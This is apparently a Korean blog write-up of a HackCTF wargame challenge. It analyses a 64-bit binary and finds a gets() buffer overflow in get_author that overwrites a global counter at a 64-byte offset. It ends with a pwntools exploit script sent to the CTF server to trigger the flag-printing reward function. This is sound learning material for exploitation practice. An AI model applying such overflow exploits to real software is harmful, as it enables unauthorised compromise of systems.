문제를 file 명령으로 확인해보면 64비트 바이너리임을 확인할 수 있다.
checksec명령으로 적용된 보호기법을 보면 nx 보호기법이 적용되어 있는 것을 확인할 수 있다.
ida 헥스레이를 활용하여 사용된 함수들을 보면 다음과 같다.
main 함수를 보면 무한루프를 돌고 있고, dword_6024E0이 1000000이 될 경우 무한루프를 탈출하며 reward() 함수를 호출한다.
reward 함수에서는 flag.txt 값을 출력한다.
dword_6024E0의 값을 1000000으로 만들어 주면 될 것 같다.
위 함수들에서 bof를 터뜨릴 수 있는 함수는 get_poem 함수와 get_author 함수가 있다. 그러나 get_poem 함수는 gets()함수 호출 후 dword_6024E0을 0으로 초기화 하기 때문에 payload는 get_author 함수의 gets() 함수에 넣어야 할 것 같다.
get_author 함수의 어셈 코드는 다음과 같다.
0x6024a0의 위치에 입력을 받는다.
main 함수의 비교문을 보면 다음과 같다.
0x6024e0 의 값과 0xf4240(1000000)과 비교를 한다.
0x6024a0과 0x6024e0의 offset 차이는 64이다.
따라서 get_author 함수에서 입력값을 64만큼 더미값으로 채우고 1000000을 넣으면 조건문을 만족시킬 수 있을 것 같다.
다음과 같이 익스코드를 작성하면 문제를 해결할 수 있다.
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3012)
pay = 'A' * 64 + p64(1000000)
p.recvuntil('> ')
p.sendline('AAA')
p.recvuntil('> ')
p.sendline(pay)
p.interactive()
'Security & Hacking > Wargame' 카테고리의 다른 글
[HackCTF] RTL_Core (0) | 2021.07.30 |
---|---|
[HackCTF] Random Key (0) | 2021.07.28 |
[HackCTF] RTL_World (0) | 2021.07.24 |
[pwnable.kr] shellshock (0) | 2021.06.16 |
[pwnable.kr] input (0) | 2021.06.15 |